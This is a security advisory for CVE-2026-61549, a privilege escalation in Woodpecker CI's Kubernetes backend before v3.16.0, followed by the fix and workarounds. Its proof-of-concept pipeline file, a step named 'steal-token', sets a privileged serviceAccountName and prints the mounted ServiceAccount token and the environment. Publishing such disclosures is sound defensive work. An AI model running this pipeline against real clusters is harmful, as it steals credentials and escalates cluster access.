highCVE-2026-61549Jul 14, 2026

CVE-2026-61549: Woodpecker CI Kubernetes Backend Privilege Escalation via serviceAccountName

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any user with push access to a repository connected to Woodpecker's Kubernetes backend could set an arbitrary ServiceAccount on their pipeline pods, inheriting that account's full cluster RBAC permiss

Packagego.woodpecker-ci.org/woodpecker/v3
Ecosystemgo
Affected< 3.16.0
Fixed in3.16.0

The problem

Woodpecker's Kubernetes backend reads the `backend_options.kubernetes.serviceAccountName` field from a pipeline YAML file and passes it directly to the pod spec. There was no agent-side gate, so any repository contributor with push access could specify any ServiceAccount in the pipeline namespace.

If a privileged ServiceAccount existed in that namespace, the attacker's pipeline pod would receive its token at `/var/run/secrets/kubernetes.io/serviceaccount/token`. That token could then be used to read Kubernetes secrets, enumerate cluster resources, or escalate to cluster-admin.

Proof of concept

A working proof-of-concept for CVE-2026-61549 in go.woodpecker-ci.org/woodpecker/v3, with the exact payload below.

text
# .woodpecker.yml - push this to any repo connected to a vulnerable Woodpecker instance
steps:
  - name: steal-token
    image: alpine
    commands:
      - cat /var/run/secrets/kubernetes.io/serviceaccount/token
      - env
    backend_options:
      kubernetes:
        serviceAccountName: cluster-admin-sa  # any privileged SA in the pipeline namespace

Before v3.16.0, `podSpec()` in `pipeline/backend/kubernetes/pod.go` assigned `options.ServiceAccountName` to the pod spec unconditionally, with no check against the agent configuration. The fix in PR #6792 added a boolean gate (`ServiceAccountNameAllowFromStep`) to the agent config struct; the field is only forwarded to the pod spec when that flag is explicitly enabled by the operator.

The new default is deny. The controlling env var is `WOODPECKER_BACKEND_K8S_SERVICE_ACCOUNT_NAME_ALLOW_FROM_STEP`, which defaults to `false`. This mirrors the existing pattern already used for pod labels and annotations. CWE-269 (Improper Privilege Management) and CWE-862 (Missing Authorization) both apply: user-supplied data elevated cluster permissions with zero authorization check.

The fix

Upgrade to Woodpecker v3.16.0. After upgrading, `serviceAccountName` in step backend options is silently ignored unless the agent is explicitly started with `WOODPECKER_BACKEND_K8S_SERVICE_ACCOUNT_NAME_ALLOW_FROM_STEP=true`. Only set that flag if every user with push access to connected repositories is trusted.

As an immediate workaround on older versions: ensure no privileged ServiceAccount exists in the pipeline namespace, or enforce an admission policy (Kyverno, OPA/Gatekeeper, ValidatingAdmissionPolicy) that rejects pods with unexpected `serviceAccountName` values.

Reporter not attributed.

References: [1][2][3]

Related research